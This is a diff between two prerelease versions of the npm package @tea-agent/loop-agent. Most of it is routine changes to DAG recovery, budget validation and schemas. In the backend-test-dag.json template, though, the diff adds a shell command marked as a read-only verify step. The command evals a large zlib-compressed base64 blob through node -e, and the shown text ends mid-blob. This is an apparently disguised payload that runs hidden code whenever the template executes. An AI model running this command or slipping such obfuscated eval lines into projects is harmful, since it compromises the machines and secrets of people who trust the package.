@tea-agent/loop-agent 0.44.0-next.8 → 0.44.0-next.9

package/dist/workflows/dag/rerun-task.js

@@ -1,3 +1,4 @@
+import { sha256OfCanonicalJson } from "../../task/contract/hash.js";
 import { access, mkdir, readFile } from "node:fs/promises";
 import { createHash } from "node:crypto";
 import path from "node:path";
@@ -28,7 +29,7 @@ export function parseDagRerunTaskArgs(args) {
     for (let index = 0; index < args.length; index += 1) {
         const arg = args[index];
         if (arg === undefined)
-            break;
+            throw new Error("dag rerun-task argument is missing");
         if (arg === "--run-id")
             parentRunId = args[++index];
         else if (arg.startsWith("--run-id="))
@@ -103,6 +104,9 @@ async function readFrontendRecoveryDescriptor(runDir, parentRunId, requestId) {
         plan.schemaVersion !== 1 ||
         plan.parentRunId !== parentRunId ||
         plan.requestId !== requestId ||
+        plan.failureSource !== raw.failureSource ||
+        plan.failureOwner !== raw.failureOwner ||
+        plan.resetRootNodeId !== raw.resetRootNodeId ||
         !Array.isArray(plan.resetNodeIds) ||
         !Array.isArray(plan.importedNodeIds)) {
         throw new Error("frontend recovery descriptor is invalid or unbound");
@@ -126,6 +130,8 @@ function buildFrontendRecoveryIntent(input) {
         attemptIndex: input.parentRecovery?.attemptIndex ?? 0,
         continuationCount: input.parentRecovery?.continuationCount ?? 0,
         failureSource: input.failureSource,
+        ...(input.failureOwner ? { failureOwner: input.failureOwner } : {}),
+        ...(input.resetRootNodeId ? { resetRootNodeId: input.resetRootNodeId } : {}),
         revision: 0,
     };
 }
@@ -391,6 +397,8 @@ async function executeFrontendRecoveryContinuation(input) {
             parentRunId: input.parentRunId,
             requestId: input.requestId,
             failureSource: descriptor.failureSource,
+            failureOwner: descriptor.failureOwner,
+            resetRootNodeId: descriptor.resetRootNodeId,
             parentRecovery: parentState.frontendRecoveryState,
         }),
         recoveryPlan: descriptor.plan,
@@ -404,76 +412,63 @@ async function executeFrontendRecoveryContinuation(input) {
     // these through its own durable tools (normal commit entry, child binding)
     // and the model only corrects the rows the design review flagged; the
     // parent ledger is never rewritten and the finalize terminal is not
-    // inherited. Best-effort: a parent without plan facts plans fresh.
-    try {
+    // inherited. Only an absent parent ledger permits a fresh Plan.
+    if (descriptor.plan.resetRootNodeId === "frontend-plan-pi") {
         const parentPlanLedger = path.join(located.runDir, "frontend-plan-pi", "plan-decision-facts.jsonl");
-        const parentRaw = await readFile(parentPlanLedger, "utf8");
-        const parentRecords = await readTypedEventStoreFromJsonl(parentPlanLedger);
-        // Collapse superseded records first: the parent ledger is append-only
-        // (replace:true appends a corrected row), and replaying both the original
-        // and its correction would trip FACT_IDENTITY_CONFLICT in the child.
-        const { collapseDecisionEntriesByKind } = await import("./frontend-plan-decision-contract.js");
-        const byKind = new Map();
-        for (const record of parentRecords) {
-            const kind = String(record.fact.kind);
-            if (record.phase !== "committed" || kind === "finalize_decision")
-                continue;
-            const entry = record.fact.entry;
-            if (typeof entry !== "object" || entry === null || Array.isArray(entry))
-                continue;
-            const bucket = byKind.get(kind) ?? [];
-            bucket.push(entry);
-            byKind.set(kind, bucket);
-        }
-        let parentCanonicalSha256;
-        try {
-            const parentCanonical = await readFile(path.join(located.runDir, "contracts", "frontend-implementation-contract.json"), "utf8");
-            parentCanonicalSha256 = createHash("sha256").update(parentCanonical).digest("hex");
-        }
-        catch {
-            // Parent canonical unavailable → the identical-plan guard is skipped.
-        }
-        // Carry the design findings that blocked the parent run: the child's
-        // finalize runs a per-finding closure check against them.
-        let designFindings = [];
-        try {
-            const designFacts = await readTypedEventStoreFromJsonl(path.join(located.runDir, "frontend-design-review-pi", "design-typed-facts.jsonl"));
-            for (const record of designFacts) {
-                const fact = record.fact;
-                if (record.phase !== "committed" || fact.kind !== "design-finding")
+        const parentRaw = await readFile(parentPlanLedger, "utf8").catch((error) => {
+            if (error.code === "ENOENT")
+                return undefined;
+            throw error;
+        });
+        if (parentRaw !== undefined) {
+            const parentRecords = await readTypedEventStoreFromJsonl(parentPlanLedger);
+            // Collapse superseded records first: the parent ledger is append-only
+            // (replace:true appends a corrected row), and replaying both the original
+            // and its correction would trip FACT_IDENTITY_CONFLICT in the child.
+            const { collapseDecisionEntriesByKind } = await import("./frontend-plan-decision-contract.js");
+            const byKind = new Map();
+            for (const record of parentRecords) {
+                const kind = String(record.fact.kind);
+                if (record.phase !== "committed" || kind === "finalize_decision")
                     continue;
-                const finding = (fact.finding ?? {});
-                designFindings.push({
-                    severity: typeof finding.severity === "string" ? finding.severity : "Important",
-                    issue: typeof finding.issue === "string" ? finding.issue : "",
-                    requiredChange: typeof finding.requiredChange === "string" ? finding.requiredChange : "",
-                    ...(Array.isArray(finding.repairAssertions) ? { repairAssertions: finding.repairAssertions } : {}),
-                });
+                const entry = record.fact.entry;
+                if (typeof entry !== "object" || entry === null || Array.isArray(entry))
+                    continue;
+                const bucket = byKind.get(kind) ?? [];
+                bucket.push(entry);
+                byKind.set(kind, bucket);
             }
+            let parentCanonicalSha256;
+            try {
+                const parentCanonical = await readFile(path.join(located.runDir, "contracts", "frontend-implementation-contract.json"), "utf8");
+                parentCanonicalSha256 = createHash("sha256").update(parentCanonical).digest("hex");
+            }
+            catch {
+                // Parent canonical unavailable → the identical-plan guard is skipped.
+            }
+            const { readCurrentFrontendRepairFindings } = await import("./rerun-feedback.js");
+            const feedback = await readCurrentFrontendRepairFindings(located.runDir);
+            const designFindings = feedback?.verdict === "request" ? feedback.findings : [];
+            const parentSpec = await readDagRunSpec(located.runDir);
+            const snapshot = {
+                schemaVersion: 1,
+                schemaId: "frontend-plan-parent-decision-snapshot-v1",
+                parentRunId: input.parentRunId,
+                parentLedgerSha256: createHash("sha256").update(parentRaw).digest("hex"),
+                sourceBindingSha256: sha256OfCanonicalJson(parentSpec.sourceBinding ?? null),
+                ...(feedback ? { feedbackBinding: { sourceNodeId: feedback.sourceNodeId, ledgerSha256: feedback.ledgerSha256, terminalEventId: feedback.terminalEventId } } : {}),
+                ...(parentCanonicalSha256 ? { parentCanonicalSha256 } : {}),
+                designFindings,
+                facts: [...byKind.entries()].flatMap(([kind, entries]) => collapseDecisionEntriesByKind(kind, entries).map((entry) => ({
+                    kind,
+                    entry,
+                }))),
+            };
+            await mkdir(path.join(locatedChild.runDir, "frontend-plan-pi"), {
+                recursive: true,
+            });
+            await writeJsonAtomic(path.join(locatedChild.runDir, "frontend-plan-pi", "parent-decision-snapshot.json"), snapshot);
         }
-        catch {
-            // No readable design findings → the closure check has no assertions.
-        }
-        const snapshot = {
-            schemaVersion: 1,
-            schemaId: "frontend-plan-parent-decision-snapshot-v1",
-            parentRunId: input.parentRunId,
-            parentLedgerSha256: createHash("sha256").update(parentRaw).digest("hex"),
-            ...(parentCanonicalSha256 ? { parentCanonicalSha256 } : {}),
-            designFindings,
-            facts: [...byKind.entries()].flatMap(([kind, entries]) => collapseDecisionEntriesByKind(kind, entries).map((entry) => ({
-                kind,
-                entry,
-            }))),
-        };
-        await mkdir(path.join(locatedChild.runDir, "frontend-plan-pi"), {
-            recursive: true,
-        });
-        await writeJsonAtomic(path.join(locatedChild.runDir, "frontend-plan-pi", "parent-decision-snapshot.json"), snapshot);
-    }
-    catch {
-        // No parent plan ledger (or unreadable) → the child plans fresh,
-        // exactly like a run without recovery lineage.
     }
     const childSpec = await readDagRunSpec(locatedChild.runDir);
     const childState = await readDagRunState(locatedChild.runDir);

package/dist/workflows/dag/runner.js

@@ -1,3 +1,7 @@
+import { assertFrontendPairExecution } from "../../application/evaluation/frontend-pair-registration.js";
+import { sourceBudgetContractIdentity } from "../../application/evaluation/budget.js";
+import { summarizeFrozenSourceUsage } from "../../task/source-prepare/source-provider-budget.js";
+import { sha256OfCanonicalJson } from "../../task/contract/hash.js";
 import { readdir, readFile } from "node:fs/promises";
 import { createHash } from "node:crypto";
 import { writeJsonAtomic } from "../../infrastructure/harness/atomic-write.js";
@@ -244,6 +248,17 @@ export function createInitialRunState(spec, opts, ranks, runId = opts.runId ?? "
             : {}),
     };
     initRunBudgetLedger(state, spec.budget);
+    if (spec.sourceProviderBudget) {
+        if (sha256OfCanonicalJson(spec.sourceProviderBudget.contract ?? null) !== sha256OfCanonicalJson(sourceBudgetContractIdentity(spec.taskContractBinding) ?? null) || !state.budgetLedger || spec.sourceProviderBudget.ledger.taskId !== spec.sourceBinding?.taskId || spec.sourceProviderBudget.ledger.maxProviderRequests !== state.budgetLedger.limits.maxProviderRequests || spec.sourceProviderBudget.sourceBindingSha256 !== sha256OfCanonicalJson(spec.sourceBinding))
+            throw Error("FRONTEND_PROVIDER_BUDGET_INVALID: source snapshot does not match DAG");
+        state.sourceProviderBudget = structuredClone(spec.sourceProviderBudget);
+        state.budgetLedger.consumed.providerRequests = spec.sourceProviderBudget.ledger.reservedRequests;
+        const sourceUsage = summarizeFrozenSourceUsage(spec.sourceProviderBudget);
+        if (sourceUsage.complete)
+            state.budgetLedger.consumed.tokens = sourceUsage.totalTokens;
+        else if (spec.sourceProviderBudget.ledger.reservedRequests > 0)
+            state.budgetLedger.consumed.missingTokenNodeIds.push(`task-budget:${spec.sourceProviderBudget.ledger.budgetId}`);
+    }
     return state;
 }
 export function assertFrozenEvaluationBinding(spec, state) {
@@ -280,6 +295,12 @@ export async function runDag(spec, opts) {
     if (!runningIdentity) {
         throw new Error("running controller identity could not be resolved; refuse to create an unpinned DAG run");
     }
+    if (spec.evaluation?.frontendPair)
+        await assertFrontendPairExecution({
+            repoRoot: opts.cwd, binding: spec.evaluation,
+            controllerFingerprint: runningIdentity.packageFingerprint.value,
+            startedAt: new Date().toISOString(),
+        });
     assertRuntimeContractCompatible(spec, {
         ...DAG_CONTROLLER_CAPABILITIES,
         controllerVersion: runningIdentity.packageVersion,
@@ -453,6 +474,12 @@ export async function resumeDagRun(opts) {
     if (!runningIdentity) {
         throw new Error("running controller identity could not be resolved; refuse to resume an unpinned DAG run");
     }
+    if (spec.evaluation?.frontendPair)
+        await assertFrontendPairExecution({
+            repoRoot: opts.cwd, binding: spec.evaluation,
+            controllerFingerprint: runningIdentity.packageFingerprint.value,
+            startedAt: state.startedAt,
+        });
     assertRuntimeContractCompatible(spec, {
         ...DAG_CONTROLLER_CAPABILITIES,
         controllerVersion: runningIdentity.packageVersion,
@@ -602,8 +629,12 @@ async function executeDagCheckpoint(input) {
     };
     const onSigTerm = () => shutdownOnSignal("SIGTERM");
     const onSigInt = () => shutdownOnSignal("SIGINT");
-    process.once("SIGTERM", onSigTerm);
-    process.once("SIGINT", onSigInt);
+    // Keep listeners installed until persistence completes. Pi dependencies use
+    // signal-exit, which recounts listeners during signal dispatch and re-sends
+    // the signal if a once-listener has already removed itself. terminalSignal
+    // above makes repeated signals idempotent; normal cleanup removes listeners.
+    process.on("SIGTERM", onSigTerm);
+    process.on("SIGINT", onSigInt);
     // Exit-time diagnostics (silent-death forensics): write an `armed` line at
     // checkpoint start and append process-exit / uncaught-exception /
     // unhandled-rejection lines with a live state snapshot so an abnormal death
@@ -862,7 +893,12 @@ async function executeDagCheckpoint(input) {
                     trigger: recoveryTrigger,
                     deps: input.recovery,
                 });
-                if (created.kind === "conflict") {
+                if (created.kind === "blocked") {
+                    state.status = "failed";
+                    state.terminalReason = created.reason;
+                    state.frontendRecoveryResult = buildRecoveryResultForTrigger(state, recoveryTrigger, "auto-recovery-blocked");
+                }
+                else if (created.kind === "conflict") {
                     // Same clientRequestId with a different payload → fail closed; never
                     // create a second recovery operation (AC-004).
                     state.status = "failed";
@@ -1276,7 +1312,7 @@ export async function finalizeTerminalRunStatus(state, taskCount, runDir, cwd, f
                         // The rejected design is a plan input defect. Reset from the
                         // planner so the next child can incorporate the committed
                         // findings before design review runs again.
-                        failureSource: "frontend-plan-pi",
+                        failureSource: "frontend-design-review-pi",
                         failureOwner: classifyReviewIssueCategoryFailureOwner(designRequestFact.issueCategory),
                         protocolFailureReason: `frontend design review request_design_changes (issueCategory=${designRequestFact.issueCategory})`,
                         recoveryMode: "new-dag",
@@ -1477,6 +1513,20 @@ export async function finalizeTerminalRunStatus(state, taskCount, runDir, cwd, f
  */
 async function createRecoveryOperation(input) {
     const { cwd, runDir, spec, state, trigger } = input;
+    const { computeFrontendRecoveryPlanForSource } = await import("./frontend-recovery-plan.js");
+    let plan;
+    try {
+        plan = computeFrontendRecoveryPlanForSource({
+            spec,
+            parentRunId: state.runId,
+            requestId: trigger.requestId,
+            failureSource: trigger.failureSource,
+            failureOwner: trigger.failureOwner,
+        });
+    }
+    catch (error) {
+        return { kind: "blocked", reason: error instanceof Error ? error.message : String(error) };
+    }
     const recoveryLease = await acquireDagRecoveryLease({
         cwd,
         parentRunId: state.runId,
@@ -1502,13 +1552,6 @@ async function createRecoveryOperation(input) {
             observeOnly = true;
         }
     }
-    const { computeFrontendRecoveryPlanForSource } = await import("./frontend-recovery-plan.js");
-    const plan = computeFrontendRecoveryPlanForSource({
-        spec,
-        parentRunId: state.runId,
-        requestId: trigger.requestId,
-        failureSource: trigger.failureSource,
-    });
     const planHash = createHash("sha256")
         .update(JSON.stringify(plan))
         .digest("hex");
@@ -1518,6 +1561,8 @@ async function createRecoveryOperation(input) {
         parentRunId: state.runId,
         requestId: trigger.requestId,
         failureSource: trigger.failureSource,
+        failureOwner: plan.failureOwner,
+        resetRootNodeId: plan.resetRootNodeId,
         recoveryMode: trigger.recoveryMode,
         planHash,
         plan,
@@ -1529,7 +1574,8 @@ async function createRecoveryOperation(input) {
             parentRunId: state.runId,
             requestId: trigger.requestId,
             failureSource: trigger.failureSource,
-            failureOwner: trigger.failureOwner,
+            failureOwner: plan.failureOwner,
+            resetRootNodeId: plan.resetRootNodeId,
             protocolFailureReason: trigger.protocolFailureReason,
             recoveryMode: trigger.recoveryMode,
             planHash,

package/dist/workflows/dag/types.js

@@ -1,7 +1,12 @@
+import { frontendPairExecutionBindingSchema } from "../../application/evaluation/frontend-pair-registration.js";
+import { sourceBudgetContractIdentity } from "../../application/evaluation/budget.js";
+import { sha256OfCanonicalJson } from "../../task/contract/hash.js";
+import { frontendTestObservationSchema } from "./frontend-test-execution-evidence.js";
+import { capabilityBoundarySchema } from "../../task/config-types.js";
 import { z } from "zod";
 import { frontendExecutionPolicySchema } from "../../shared/frontend-execution-policy.js";
 import { DEFAULT_FRONTEND_SPEC_ROOTS, isFrontendSpecFilePath, isValidFrontendSpecRoot, OPENSPEC_SPEC_EXT_RE, } from "../../shared/openspec-spec.js";
-import { campaignBudgetSchema, } from "../../application/evaluation/budget.js";
+import { campaignBudgetSchema, sourceProviderBudgetBindingSchema, } from "../../application/evaluation/budget.js";
 import { assertDagPromptSourceRule } from "./prompt-source.js";
 // Leaf-module import: dagRetryPolicySchema must be defined by a module that
 // never transitively reaches types.ts during init (retry-policy does, via
@@ -89,6 +94,7 @@ export const dagShellVerifyEvidenceSchema = z.object({
         .array(z.object({
         label: z.string(),
         status: z.enum(["ok", "future-delivery-script", "future-test-target"]),
+        testObservation: frontendTestObservationSchema.optional(),
     }))
         .default([]),
     /** Effective timeout applied independently to each shell command. */
@@ -463,13 +469,7 @@ export const dagFrontendDesignPolicySchema = z
         .optional(),
     /** Generation-frozen test capability boundary composed into the
      * canonical dependencyPolicy by the runtime. */
-    capabilityBoundary: z
-        .object({
-        allowed: z.array(z.string().min(1)).optional(),
-        forbidden: z.array(z.string().min(1)).optional(),
-    })
-        .strict()
-        .optional(),
+    capabilityBoundary: capabilityBoundarySchema.optional(),
     /** Generation-frozen interaction id vocabulary (plan finalize check). */
     interactionIds: z.array(z.string().min(1)).optional(),
     /** Generation-frozen roots that bound custom normative directories. */
@@ -1320,6 +1320,7 @@ export const dagEvaluationBindingSchema = z
     seed: z.number().int().nonnegative(),
     split: z.enum(["public", "private", "held_out"]).optional(),
     taskRef: z.string().min(1).optional(),
+    frontendPair: frontendPairExecutionBindingSchema.optional(),
 })
     .strict();
 /** Eval Lab Campaign Budget (W3.4); enforced by runner ledger when mode=hard. */
@@ -1424,6 +1425,7 @@ export const dagSpecSchema = z
     evaluation: dagEvaluationBindingSchema.optional(),
     /** Optional hard/record-only budget; requires version 3 or 4. */
     budget: dagBudgetSchema.optional(),
+    sourceProviderBudget: sourceProviderBudgetBindingSchema.optional(),
     frontendExecutionPolicy: frontendExecutionPolicySchema.optional(),
     sourceBinding: dagSourceBindingSchema.optional(),
     /** v4 managed Task Contract binding; only valid on version 4. */
@@ -1494,6 +1496,9 @@ export const dagSpecSchema = z
     tasks: z.array(dagTaskSchema).min(1),
 })
     .superRefine((spec, ctx) => {
+    if (spec.sourceProviderBudget && (!spec.sourceBinding || spec.sourceProviderBudget.ledger.taskId !== spec.sourceBinding.taskId || sha256OfCanonicalJson(spec.sourceProviderBudget.contract ?? null) !== sha256OfCanonicalJson(sourceBudgetContractIdentity(spec.taskContractBinding) ?? null) || spec.budget?.mode !== "hard" || spec.sourceProviderBudget.ledger.maxProviderRequests !== spec.budget?.limits.maxProviderRequests || spec.sourceProviderBudget.sourceBindingSha256 !== sha256OfCanonicalJson(spec.sourceBinding))) {
+        ctx.addIssue({ code: z.ZodIssueCode.custom, path: ["sourceProviderBudget"], message: "source request budget must match the frozen source and request limit" });
+    }
     const supportsV3Fields = spec.version === 3 || spec.version === 4;
     validateFrozenArtifactBindings(spec.tasks, ctx);
     if (spec.evaluation && !supportsV3Fields) {
@@ -1618,6 +1623,8 @@ export const frontendRecoveryStateSchema = z
      *  frontend-plan-revision-pi / frontend-prewrite-gate-shell /
      *  frontend-implement-pi (writer partial write). */
     failureSource: z.string().min(1).optional(),
+    failureOwner: z.enum(["contract", "scout", "plan", "implementation", "verification-config", "environment", "scope", "unknown"]).optional(),
+    resetRootNodeId: z.string().min(1).optional(),
     revision: z.number().int().nonnegative(),
 })
     .strict()

package/docs/architecture/runtime-boundaries.md

@@ -180,7 +180,7 @@ Runner / Loop         ──(迁移中)──>  逐步改为仅经 Store / Appli
 | Script | 检查内容 | 失败条件 |
 | -------- | ---------- | ---------- |
 | `scripts/check-architecture-boundaries.sh` | workflow/executor forbidden import，及 Worker → CLI/commands/application import | 新的未 allowlist violation |
-| `scripts/check-command-registry-drift.sh` | `command-reference.md` 中的 top-level command vs `src/cli/catalog.ts` | 文档引用未注册 command |
+| `scripts/check-command-registry-drift.sh` | 五处真源的 top-level command 一致性：`src/cli/command-definitions.ts`（权威）、`src/shared/operator/capabilities.ts` 覆盖表、`skills/loop-agent/references/command-reference.md`、`website/docs/reference/cli.md`、`test/cli-contract.test.ts` 的 `LEGACY_SUPPORTED_COMMANDS`（逐项且同序） | 任一真源引用未注册 command、未覆盖已注册 command，或契约测试清单与 registry 不一致 |
 | `scripts/check-exec-plan-index-sync.sh` | `ai_workspace/loop-agent/exec-plans/{active,completed}` 目录文件 vs 对应 `README.md` 索引 | 任一 plan 文件未在索引登记 |
 | `scripts/check-skill-entry.sh` | `loop-agent` / `agent-worker` 的 frontmatter、required references、入口行数与 operator trigger vocabulary | 任一公共 skill 缺失、reference/trigger 漂移或入口超过 hard limit |
 

package/docs/templates/backend-test-dag.json

@@ -197,7 +197,7 @@
 			"writePolicy": "read-only",
 			"shell": {
 				"commands": [
-					"node -e \"eval(require('zlib').inflateRawSync(Buffer.from('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